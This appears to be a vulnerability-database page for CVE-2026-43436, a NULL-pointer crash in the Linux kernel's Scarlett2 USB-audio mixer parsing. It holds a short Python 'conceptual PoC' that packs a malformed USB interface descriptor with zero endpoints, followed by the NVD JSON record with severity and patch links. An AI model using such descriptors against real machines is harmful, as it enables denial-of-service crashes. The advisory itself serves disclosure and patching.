CVE-2026-43436

import struct # Conceptual PoC: Crafting a malformed USB descriptor # This code simulates a device descriptor structure that would trigger the vulnerability # if used with a USB device emulator or passed to a vulnerable kernel. def generate_malformed_descriptor(): # USB Interface Descriptor # bLength, bDescriptorType, bInterfaceNumber, bAlternateSetting, # bNumEndpoints (Set to 0 to trigger the bug), bInterfaceClass, ... bLength = 9 bDescriptorType = 0x04 # Interface bInterfaceNumber = 0 bAlternateSetting = 0 bNumEndpoints = 0 # Vulnerability: Code assumes > 0 bInterfaceClass = 0x01 # Audio bInterfaceSubClass = 0x01 bInterfaceProtocol = 0x00 iInterface = 0 descriptor = struct.pack('<BBBBBBBBB', bLength, bDescriptorType, bInterfaceNumber, bAlternateSetting, bNumEndpoints, bInterfaceClass, bInterfaceSubClass, bInterfaceProtocol, iInterface) return descriptor print("[+] Malformed USB Interface Descriptor generated.") print("[+] Sending this descriptor to a vulnerable kernel via USB device would trigger a crash.")

{"cve": {"id": "CVE-2026-43436", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:55.930", "lastModified": "2026-05-21T17:43:14.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: usb-audio: Check endpoint numbers at parsing Scarlett2 mixer interfaces\n\nThe Scarlett2 mixer quirk in USB-audio driver may hit a NULL\ndereference when a malformed USB descriptor is passed, since it\nassumes the presence of an endpoint in the parsed interface in\nscarlett2_find_fc_interface(), as reported by fuzzer.\n\nFor avoiding the NULL dereference, just add the sanity check of\nbNumEndpoints and skip the invalid interface."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.14", "versionEndExcluding": "6.1.167", "matchCriteriaId": "F1B70725-A100-4D42-ACBF-5F4D2909497E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.19", "matchCriteriaId": "D394AC60-6F28-435F-872A-CCDF384B8331"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3d4f23885e4b90347c9a1d779af6e79a99b5172a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3d542cf3c4c854cdf5d58049771f68926b9eb2b9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b014cc945baba75816cda0cf8934be87c9ed4947", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b267255c15d2a5b90c4e926146aa155e5161e264", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c5c5a6c53cf3b658f1d4512dfa61f3cd25bc34ba", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/df1d8abf36ca3681c21a6809eaa9a1e01ef897a6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}